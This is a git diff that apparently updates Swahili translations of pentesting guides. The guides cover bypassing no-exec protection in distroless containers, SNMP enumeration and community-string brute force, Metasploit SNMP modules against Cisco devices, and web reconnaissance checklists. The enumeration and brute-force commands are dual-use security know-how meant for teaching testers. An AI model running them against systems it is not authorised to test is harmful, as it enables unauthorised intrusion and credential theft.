Zaidi ya hayo, kuunda **regular fd** na faili katika `/dev/shm` hakutafanya kazi, kwani hutaruhusiwa kuikimbia kwa sababu **no-exec protection** itatumika.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) ni mbinu inayokuruhusu **kubadilisha kumbukumbu ya mchakato wako mwenyewe** kwa kuandika tena **`/proc/self/mem`**.
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) ni mbinu inayokuruhusu **kubadilisha kumbukumbu ya mchakato wako** kwa kuandika tena **`/proc/self/mem`**.
|
||||
|
||||
Kwa hivyo, **kuweza kudhibiti msimbo wa mkusanyiko** unaotekelezwa na mchakato, unaweza kuandika **shellcode** na "kubadilisha" mchakato ili **utekeleze msimbo wowote wa kawaida**.
|
||||
Kwa hivyo, **kuweza kudhibiti msimbo wa mkusanyiko** unaotekelezwa na mchakato, unaweza kuandika **shellcode** na "kubadilisha" mchakato ili **kuendesha msimbo wowote wa kawaida**.
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec** itakuruhusu kupakia na **kutekeleza** shellcode yako mwenyewe au **binary yoyote** kutoka **kumbukumbu**.
|
||||
|
@ -118,13 +118,13 @@ Katika mizigo ya distroless huenda **usipate hata `sh` au `bash`** kupata shell
|
|||
Hivyo, **hutaweza** kupata **reverse shell** au **kuhesabu** mfumo kama kawaida unavyofanya.
|
||||
{% endhint %}
|
||||
|
||||
Hata hivyo, ikiwa kontena lililoathirika linaendesha kwa mfano flask web, basi python imewekwa, na hivyo unaweza kupata **Python reverse shell**. Ikiwa linaendesha node, unaweza kupata Node rev shell, na vivyo hivyo na lugha nyingi za **scripting**.
|
||||
Hata hivyo, ikiwa kontena lililovunjwa linaendesha kwa mfano flask web, basi python imewekwa, na hivyo unaweza kupata **Python reverse shell**. Ikiwa linaendesha node, unaweza kupata Node rev shell, na vivyo hivyo na lugha nyingi za **scripting**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Kwa kutumia lugha ya scripting unaweza **kuhesabu mfumo** kwa kutumia uwezo wa lugha hiyo.
|
||||
{% endhint %}
|
||||
|
||||
Ikiwa hakuna **`read-only/no-exec`** ulinzi unaweza kutumia reverse shell yako ku **andika kwenye mfumo wa faili binaries zako** na **kuziendesha**.
|
||||
Ikiwa hakuna **`read-only/no-exec`** ulinzi unaweza kutumia reverse shell yako **kuandika kwenye mfumo wa faili binaries zako** na **kuziendesha**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Hata hivyo, katika aina hii ya mizigo ulinzi huu kwa kawaida utawepo, lakini unaweza kutumia **mbinu za awali za utekelezaji wa kumbukumbu kuzipita**.
|
||||
|
@ -132,7 +132,7 @@ Hata hivyo, katika aina hii ya mizigo ulinzi huu kwa kawaida utawepo, lakini una
|
|||
|
||||
Unaweza kupata **mfano** wa jinsi ya **kutumia udhaifu wa RCE** kupata lugha za scripting **reverse shells** na kuendesha binaries kutoka kwenye kumbukumbu katika [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -29,7 +29,7 @@ PORT STATE SERVICE REASON VERSION
|
|||
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
|
||||
```
|
||||
{% hint style="info" %}
|
||||
SNMP pia inatumia bandari **162/UDP** kwa **traps**. Hizi ni data **pakiti zinazotumwa kutoka kwa seva ya SNMP kwenda kwa mteja bila kuombwa wazi**.
|
||||
SNMP pia inatumia bandari **162/UDP** kwa **traps**. Hizi ni data **pakiti zinazotumwa kutoka kwa seva ya SNMP kwenda kwa mteja bila kuombwa kwa wazi**.
|
||||
{% endhint %}
|
||||
|
||||
### MIB
|
||||
|
@ -43,7 +43,7 @@ Mifano ya MIB imeandikwa katika format ya maandiko ya ASCII ya `Abstract Syntax
|
|||
|
||||
Viwango vya juu zaidi vya vitambulisho vya MIB, au OIDs, vimepewa mashirika mbalimbali yanayoweka viwango. Ni ndani ya viwango hivi vya juu ambapo mfumo wa mazoea na viwango vya usimamizi wa kimataifa umeanzishwa.
|
||||
|
||||
Zaidi ya hayo, wauzaji wanapewa uhuru wa kuanzisha matawi binafsi. Ndani ya matawi haya, wana **uhuru wa kujumuisha vitu vilivyosimamiwa vinavyohusiana na mistari yao ya bidhaa**. Mfumo huu unahakikisha kuwa kuna njia iliyopangwa na iliyoandaliwa ya kutambua na kusimamia anuwai ya vitu kati ya wauzaji na viwango tofauti.
|
||||
Zaidi ya hayo, wauzaji wanapewa uhuru wa kuanzisha matawi ya kibinafsi. Ndani ya matawi haya, wana **uhuru wa kujumuisha vitu vilivyo na usimamizi vinavyohusiana na mistari yao ya bidhaa**. Mfumo huu unahakikisha kuwa kuna njia iliyopangwa na iliyoandaliwa ya kutambua na kusimamia anuwai ya vitu kati ya wauzaji na viwango tofauti.
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -58,7 +58,7 @@ Kuna **OIDs maarufu** kama zile ndani ya [1.3.6.1.2.1](http://oid-info.com/get/1
|
|||
|
||||
Hapa kuna ufafanuzi wa anwani hii.
|
||||
|
||||
* 1 – hii inaitwa ISO na inaweka wazi kuwa hii ni OID. Hii ndiyo sababu OIDs zote huanza na "1"
|
||||
* 1 – hii inaitwa ISO na inaweka wazi kuwa hii ni OID. Hii ndiyo sababu OIDs zote huanza na “1”
|
||||
* 3 – hii inaitwa ORG na inatumika kubainisha shirika lililojenga kifaa.
|
||||
* 6 – hii ni dod au Wizara ya Ulinzi ambayo ni shirika lililoanzisha Mtandao kwanza.
|
||||
* 1 – hii ni thamani ya mtandao kuashiria kuwa mawasiliano yote yatatokea kupitia Mtandao.
|
||||
|
@ -87,21 +87,21 @@ Thamani zilizobaki zinatoa taarifa maalum kuhusu kifaa.
|
|||
|
||||
Kuna matoleo mawili muhimu ya SNMP:
|
||||
|
||||
* **SNMPv1**: Kuu, bado ni ya kawaida zaidi, **uthibitishaji unategemea mfuatano** (community string) unaosafiri kwa **maandishi wazi** (taarifa zote zinatembea kwa maandiko wazi). **Matoleo 2 na 2c** yanatuma **trafiki kwa maandiko wazi** pia na yanatumia **mfuatano wa jamii kama uthibitishaji**.
|
||||
* **SNMPv3**: Inatumia aina bora ya **uthibitishaji** na taarifa inasafiri **imefichwa** (attack ya kamusi inaweza kufanywa lakini itakuwa ngumu zaidi kupata creds sahihi kuliko katika SNMPv1 na v2).
|
||||
* **SNMPv1**: Kuu, bado ni ya kawaida zaidi, **uthibitishaji unategemea nywila** (nywila ya jamii) inayosafiri kwa **maandishi wazi** (habari zote zinatembea kwa maandiko wazi). **Matoleo 2 na 2c** yanatuma **trafiki kwa maandiko wazi** pia na yanatumia **nywila ya jamii kama uthibitishaji**.
|
||||
* **SNMPv3**: Inatumia aina bora ya **uthibitishaji** na taarifa inasafiri **imefichwa** (ushambuliaji wa **kamusi** unaweza kufanywa lakini itakuwa ngumu zaidi kupata taarifa sahihi kuliko katika SNMPv1 na v2).
|
||||
|
||||
### Mfuatano wa Jamii
|
||||
### Nywila za Jamii
|
||||
|
||||
Kama ilivyotajwa hapo awali, **ili kufikia taarifa zilizohifadhiwa kwenye MIB unahitaji kujua mfuatano wa jamii katika matoleo 1 na 2/2c na akidi katika toleo la 3.**\
|
||||
Kuna **aina 2 za mfuatano wa jamii**:
|
||||
Kama ilivyotajwa hapo awali, **ili kufikia taarifa zilizohifadhiwa kwenye MIB unahitaji kujua nywila ya jamii katika matoleo 1 na 2/2c na taarifa za kuingia katika toleo la 3.**\
|
||||
Kuna **aina 2 za nywila za jamii**:
|
||||
|
||||
* **`public`** hasa **kazi za kusoma tu**
|
||||
* **`private`** **Soma/Andika** kwa ujumla
|
||||
|
||||
Kumbuka kuwa **uwezo wa kuandika OID unategemea mfuatano wa jamii unaotumika**, hivyo **hata** ukigundua kuwa "**public**" inatumika, unaweza kuwa na uwezo wa **kuandika baadhi ya thamani.** Pia, kuna **weza** kuwepo vitu ambavyo ni **daima "Soma Tu".**\
|
||||
Ikiwa unajaribu **kuandika** kitu, **`noSuchName` au `readOnly` kosa** linapokelewa\*\*.\*\*
|
||||
Kumbuka kuwa **uwezo wa kuandika OID unategemea nywila ya jamii inayotumika**, hivyo **hata** ukigundua kuwa "**public**" inatumika, unaweza kuwa na uwezo wa **kuandika baadhi ya thamani.** Pia, kuna **weza** kuwepo vitu ambavyo ni **daima "Soma Tu".**\
|
||||
Ikiwa unajaribu **kuandika** kitu, **kosa la `noSuchName` au `readOnly` linapokelewa**\*\*.\*\*
|
||||
|
||||
Katika matoleo 1 na 2/2c ikiwa utatumia mfuatano wa jamii **mbaya** seva haitajibu. Hivyo, ikiwa inajibu, **mfuatano wa jamii halali umetumika**.
|
||||
Katika matoleo 1 na 2/2c ikiwa utatumia nywila ya jamii **mbaya** seva haitajibu. Hivyo, ikiwa inajibu, **nywila halali ya jamii ilitumika**.
|
||||
|
||||
## Bandari
|
||||
|
||||
|
@ -109,11 +109,11 @@ Katika matoleo 1 na 2/2c ikiwa utatumia mfuatano wa jamii **mbaya** seva haitaji
|
|||
|
||||
* Wakala wa SNMP hupokea maombi kwenye bandari ya UDP **161**.
|
||||
* Meneja hupokea arifa ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) na [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) kwenye bandari **162**.
|
||||
* Wakati inapotumika na [Usalama wa Tabaka la Usafirishaji](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) au [Usalama wa Tabaka la Usafirishaji wa Datagram](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), maombi yanapokelewa kwenye bandari **10161** na arifa zinatumwa kwenye bandari **10162**.
|
||||
* Wakati inapotumika na [Usalama wa Tabaka la Usafiri](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) au [Usalama wa Tabaka la Usafiri wa Datagram](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), maombi yanapokelewa kwenye bandari **10161** na arifa zinatumwa kwenye bandari **10162**.
|
||||
|
||||
## Mfuatano wa Jamii ya Brute-Force (v1 na v2c)
|
||||
## Nywila ya Jamii ya Brute-Force (v1 na v2c)
|
||||
|
||||
Ili **kukisia mfuatano wa jamii** unaweza kufanya shambulio la kamusi. Angalia [hapa njia tofauti za kufanya shambulio la brute-force dhidi ya SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Mfuatano wa jamii unaotumika mara nyingi ni `public`.
|
||||
Ili **kukisia nywila ya jamii** unaweza kufanya shambulio la kamusi. Angalia [hapa njia tofauti za kufanya shambulio la brute-force dhidi ya SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Nywila ya jamii inayotumika mara nyingi ni `public`.
|
||||
|
||||
## Kuorodhesha SNMP
|
||||
|
||||
|
@ -140,11 +140,11 @@ nmap --script "snmp* and not snmp-brute" <target>
|
|||
|
||||
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
||||
```
|
||||
Asante kwa maswali yaliyopanuliwa (download-mibs), inawezekana kuorodhesha zaidi kuhusu mfumo kwa amri ifuatayo:
|
||||
Asante kwa maswali ya kupanuliwa (download-mibs), inawezekana kuhesabu zaidi kuhusu mfumo kwa amri ifuatayo:
|
||||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
**SNMP** ina taarifa nyingi kuhusu mwenyeji na mambo ambayo unaweza kupendezwa nayo ni: **Mifumo ya mtandao** (anwani za **IPv4** na **IPv6**), Majina ya watumiaji, Wakati wa kufanya kazi, Toleo la seva/OS, na **mchakato**
|
||||
**SNMP** ina taarifa nyingi kuhusu mwenyeji na mambo ambayo unaweza kupendezwa nayo ni: **Interfaces za Mtandao** (anwani za **IPv4** na **IPv6**), Majina ya Watumiaji, Wakati wa Uendeshaji, Toleo la Server/OS, na **mchakato**
|
||||
|
||||
**unaotembea** (inaweza kuwa na nywila)....
|
||||
|
||||
|
@ -193,11 +193,11 @@ Ikiwa una **nywila** inayokuruhusu **kuandika thamani** ndani ya huduma ya SNMP,
|
|||
|
||||
## **SNMP Kubwa**
|
||||
|
||||
[Braa](https://github.com/mteg/braa) ni skana kubwa ya SNMP. Matumizi yaliyokusudiwa ya zana kama hii ni, bila shaka, kufanya maswali ya SNMP – lakini tofauti na snmpwalk kutoka net-snmp, ina uwezo wa kuuliza majeshi makumi au mamia kwa wakati mmoja, na katika mchakato mmoja. Hivyo, inatumia rasilimali chache za mfumo na inafanya ufuatiliaji HARAKA SANA.
|
||||
[Braa ](https://github.com/mteg/braa)ni skana kubwa ya SNMP. Matumizi yaliyokusudiwa ya zana kama hii ni, bila shaka, kufanya maswali ya SNMP – lakini tofauti na snmpwalk kutoka net-snmp, ina uwezo wa kuuliza mwenyeji kumi au mia moja kwa wakati mmoja, na katika mchakato mmoja. Hivyo, inatumia rasilimali chache za mfumo na inafanya ufuatiliaji HARAKA SANA.
|
||||
|
||||
Braa inatekeleza stack yake ya snmp, hivyo haitaji maktaba yoyote ya SNMP kama net-snmp.
|
||||
|
||||
**Syntax:** braa \[Nywila ya jamii]@\[IP ya seva ya SNMP]:\[iso id]
|
||||
**Syntax:** braa \[Nywila ya Jamii]@\[IP ya seva ya SNMP]:\[iso id]
|
||||
```bash
|
||||
braa ignite123@192.168.1.125:.1.3.6.*
|
||||
```
|
||||
|
@ -231,7 +231,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
|||
```
|
||||
## Kubadilisha thamani za SNMP
|
||||
|
||||
Unaweza kutumia _**NetScanTools**_ kubadilisha **thamani**. Itakubidi ujue **nyota ya faragha** ili kufanya hivyo.
|
||||
Unaweza kutumia _**NetScanTools**_ kubadilisha **thamani**. Itakubidi ujue **nywila ya faragha** ili kufanya hivyo.
|
||||
|
||||
## Kupotosha
|
||||
|
||||
|
@ -243,9 +243,9 @@ Ikiwa kuna ACL inayoruhusu tu IP fulani kuuliza huduma ya SMNP, unaweza kupotosh
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya uhalifu** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
|
||||
Ikiwa unavutiwa na **kazi ya uhalifu wa kompyuta** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## Pentesting Cisco Networks
|
||||
|
||||
**SNMP** inafanya kazi juu ya UDP na bandari 161/UDP kwa ujumbe wa jumla na 162/UDP kwa ujumbe wa mtego. Protokali hii inategemea nyuzi za jamii, zinazofanya kazi kama nywila zinazowezesha mawasiliano kati ya wakala wa SNMP na seva. Nyuzi hizi ni muhimu kwani zinatengeneza viwango vya ufikiaji, haswa **kusoma tu (RO) au ruhusa za kusoma na kuandika (RW)**. Njia maarufu ya shambulio kwa wapimaji ni **kujaribu nguvu za nyuzi za jamii**, lengo likiwa kuingia kwenye vifaa vya mtandao.
|
||||
**SNMP** inafanya kazi juu ya UDP na bandari 161/UDP kwa ujumbe wa jumla na 162/UDP kwa ujumbe wa mtego. Protokali hii inategemea nyuzi za jamii, zinazofanya kazi kama nywila zinazowezesha mawasiliano kati ya wakala wa SNMP na seva. Nyuzi hizi ni muhimu kwani zinatambulisha viwango vya ufikiaji, haswa **kusoma tu (RO) au ruhusa za kusoma-kandika (RW)**. Njia maarufu ya shambulio kwa wapimaji ni **kujaribu nguvu za nyuzi za jamii**, lengo likiwa kuingia kwenye vifaa vya mtandao.
|
||||
|
||||
Chombo cha vitendo kwa ajili ya kutekeleza mashambulizi kama haya ya nguvu ni [**onesixtyone**](https://github.com/trailofbits/onesixtyone), ambacho kinahitaji orodha ya nyuzi za jamii zinazoweza kuwa na anwani za IP za malengo:
|
||||
```bash
|
||||
|
@ -31,18 +31,18 @@ onesixtyone -c communitystrings -i targets
|
|||
```
|
||||
#### `cisco_config_tftp`
|
||||
|
||||
The Metasploit framework features the `cisco_config_tftp` module, facilitating the extraction of device configurations, contingent upon acquiring an RW community string. Essential parameters for this operation include:
|
||||
Mfumo wa Metasploit una moduli ya `cisco_config_tftp`, inayowezesha uchimbaji wa mipangilio ya kifaa, kulingana na kupata nywila ya RW jamii. Vigezo muhimu kwa ajili ya operesheni hii ni:
|
||||
|
||||
* RW community string (**COMMUNITY**)
|
||||
* Nywila ya RW jamii (**COMMUNITY**)
|
||||
* IP ya mshambuliaji (**LHOST**)
|
||||
* IP ya kifaa kilicholengwa (**RHOSTS**)
|
||||
* Njia ya marudio kwa ajili ya faili za usanidi (**OUTPUTDIR**)
|
||||
* IP ya kifaa kilichokusudiwa (**RHOSTS**)
|
||||
* Njia ya marudio kwa ajili ya faili za mipangilio (**OUTPUTDIR**)
|
||||
|
||||
Upon configuration, this module enables the download of device settings directly to a specified folder.
|
||||
Baada ya kuweka mipangilio, moduli hii inaruhusu upakuaji wa mipangilio ya kifaa moja kwa moja kwenye folda iliyotajwa.
|
||||
|
||||
#### `snmp_enum`
|
||||
|
||||
Another Metasploit module, **`snmp_enum`**, specializes in gathering detailed hardware information. It operates with either type of community string and requires the target's IP address for successful execution:
|
||||
Moduli nyingine ya Metasploit, **`snmp_enum`**, inajikita katika kukusanya taarifa za kina za vifaa vya hardware. Inafanya kazi kwa aina yoyote ya nywila ya jamii na inahitaji anwani ya IP ya lengo kwa ajili ya utekelezaji wa mafanikio:
|
||||
```bash
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||
|
@ -52,9 +52,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **hacking career** na kujaribu kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
|
||||
Ikiwa unavutiwa na **hacking career** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.pn
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack kile kisichoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa Kiswahili vizuri kunahitajika_).
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack kile kisichoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -51,14 +51,14 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
* [ ] Unatumia **teknolojia inayojulikana**? Je, kuna **hila muhimu** za kupata taarifa zaidi?
|
||||
* [ ] Je, kuna **scanner maalum** ya kukimbia (kama wpscan)?
|
||||
* [ ] Anzisha **scanners za matumizi ya jumla**. Hujui kama wataweza kupata kitu au kama wataweza kupata taarifa za kuvutia.
|
||||
* [ ] Anza na **ukaguzi wa awali**: **robots**, **sitemap**, **404** kosa na **SSL/TLS scan** (ikiwa HTTPS).
|
||||
* [ ] Anza na **ukaguzi wa awali**: **robots**, **sitemap**, **404** kosa na **SSL/TLS skani** (ikiwa HTTPS).
|
||||
* [ ] Anza **kupeleleza** ukurasa wa wavuti: Ni wakati wa **kupata** faili, folda na **parameta** zote zinazotumika. Pia, angalia kwa **matokeo maalum**.
|
||||
* [ ] _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au kupeleleza, inapaswa kupelelezwa._
|
||||
* [ ] **Brute-Forcing ya Directory**: Jaribu kufanya brute force kwa folda zote zilizogunduliwa kutafuta **faili** na **directories** mpya.
|
||||
* [ ] _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au kupeleleza, inapaswa kufanywa Brute-Forced._
|
||||
* [ ] **Ukaguzi wa Nakala**: Jaribu kuona kama unaweza kupata **nakala** za **faili zilizogunduliwa** kwa kuongeza nyongeza za kawaida za nakala.
|
||||
* [ ] **Ukaguzi wa Nakala za Akiba**: Jaribu kuona kama unaweza kupata **nakala za akiba** za **faili zilizogunduliwa** kwa kuongeza nyongeza za kawaida za akiba.
|
||||
* [ ] **Brute-Force parameta**: Jaribu **kupata parameta zilizofichwa**.
|
||||
* [ ] Mara tu unapokuwa umeshawishi **kila mwisho** unaokubali **ingizo la mtumiaji**, angalia aina zote za **udhaifu** zinazohusiana nayo.
|
||||
* [ ] Mara tu unapokuwa umeshawishi **kila mwisho** unaokubali **ingizo la mtumiaji**, angalia aina zote za **udhaifu** zinazohusiana na hiyo.
|
||||
* [ ] [Fuata orodha hii ya ukaguzi](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Toleo la Seva (Lina Udhihirisho?)
|
||||
|
@ -66,7 +66,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
### Tambua
|
||||
|
||||
Angalia kama kuna **udhaifu unaojulikana** kwa **toleo** la seva inayotumika.\
|
||||
**Vichwa vya HTTP na kuki za jibu** vinaweza kuwa na manufaa sana katika **kutambua** **teknolojia** na/au **toleo** linalotumika. **Nmap scan** inaweza kutambua toleo la seva, lakini pia inaweza kuwa na manufaa kutumia zana [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)au [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
**Vichwa vya HTTP na vidakuzi vya jibu** vinaweza kuwa na manufaa sana katika **kutambua** **teknolojia** na/au **toleo** linalotumika. **Nmap skani** inaweza kutambua toleo la seva, lakini pia inaweza kuwa na manufaa kutumia zana [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)au [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
|
@ -117,7 +117,7 @@ Baadhi ya **tricks** za **finding vulnerabilities** katika **technologies** maar
|
|||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
|
||||
|
||||
_Kumbuka kwamba **domain** ile ile inaweza kuwa inatumia **technologies** tofauti katika **ports**, **folders** na **subdomains**._\
|
||||
_Kumbuka kwamba **domain** hiyo hiyo inaweza kuwa ikitumia **technologies** tofauti katika **ports**, **folders** na **subdomains**._\
|
||||
Ikiwa programu ya wavuti inatumia **tech/platform** maarufu zilizoorodheshwa hapo juu au **zingine yoyote**, usisahau **kutafuta kwenye Mtandao** tricks mpya (na unijulishe!).
|
||||
|
||||
### Source Code Review
|
||||
|
@ -126,10 +126,10 @@ Ikiwa **source code** ya programu inapatikana katika **github**, mbali na kufany
|
|||
|
||||
* Je, kuna **Change-log au Readme au Version** file au chochote chenye **version info accessible** kupitia wavuti?
|
||||
* Je, **credentials** zimehifadhiwaje na wapi? Je, kuna **file** (inaweza kufikiwa?) yenye credentials (majina ya watumiaji au nywila)?
|
||||
* Je, **passwords** ziko katika **plain text**, **encrypted** au ni **hashing algorithm** gani inatumika?
|
||||
* Je, inatumia **master key** yoyote kwa ajili ya kuandika kitu? Ni **algorithm** gani inatumika?
|
||||
* Je, **nywila** ziko katika **plain text**, **encrypted** au ni **hashing algorithm** gani inayotumika?
|
||||
* Je, inatumia **master key** yoyote kwa ajili ya kuandika kitu? Ni **algorithm** gani inayotumika?
|
||||
* Je, unaweza **kufikia yoyote ya hizi files** kwa kutumia udhaifu wowote?
|
||||
* Je, kuna **maelezo ya kuvutia katika github** (masuala yaliyotatuliwa na yasiyotatuliwa)? Au katika **commit history** (labda **password iliyoingizwa ndani ya commit ya zamani**)?
|
||||
* Je, kuna **maelezo ya kuvutia katika github** (masuala yaliyotatuliwa na yasiyotatuliwa)? Au katika **commit history** (labda **nywila iliyoingizwa ndani ya commit ya zamani**)?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
[code-review-tools.md](code-review-tools.md)
|
||||
|
@ -164,7 +164,7 @@ wpscan --force update -e --url <URL>
|
|||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> Katika hatua hii unapaswa kuwa na taarifa fulani kuhusu seva ya wavuti inayotumiwa na mteja (ikiwa kuna data yoyote iliyotolewa) na mbinu fulani za kukumbuka wakati wa mtihani. Ikiwa una bahati umepata hata CMS na kuendesha skana.
|
||||
> Katika hatua hii unapaswa kuwa na taarifa fulani kuhusu seva ya wavuti inayotumiwa na mteja (ikiwa kuna data yoyote iliyotolewa) na mbinu fulani za kukumbuka wakati wa mtihani. Ikiwa una bahati umepata hata CMS na ukafanya skana.
|
||||
|
||||
## Hatua kwa hatua Ugunduzi wa Programu za Wavuti
|
||||
|
||||
|
@ -192,10 +192,10 @@ Seva za wavuti zinaweza **kufanya kazi kwa njia isiyo ya kawaida** wakati data z
|
|||
|
||||
#### **Angalia kama unaweza kupakia faili (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Ikiwa unapata kuwa **WebDav** ime **wezeshwa** lakini huna ruhusa ya kutosha kwa **kupakia faili** katika folda ya mzizi jaribu:
|
||||
Ikiwa unapata kuwa **WebDav** ime **wezeshwa** lakini huna ruhusa ya kutosha kwa **kupakia faili** kwenye folda ya mzizi jaribu:
|
||||
|
||||
* **Brute Force** akreditif
|
||||
* **Pakia faili** kupitia WebDav kwa **sehemu** ya **folda zilizopatikana** ndani ya ukurasa wa wavuti. Unaweza kuwa na ruhusa za kupakia faili katika folda nyingine.
|
||||
* **Pakia faili** kupitia WebDav kwenye **sehemu** za **folda zilizopatikana** ndani ya ukurasa wa wavuti. Unaweza kuwa na ruhusa za kupakia faili katika folda nyingine.
|
||||
|
||||
### **Vulnerabilities za SSL/TLS**
|
||||
|
||||
|
@ -222,44 +222,44 @@ Zindua aina ya **spider** ndani ya wavuti. Lengo la spider ni **kupata njia nyin
|
|||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder katika faili za JS na vyanzo vya nje (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
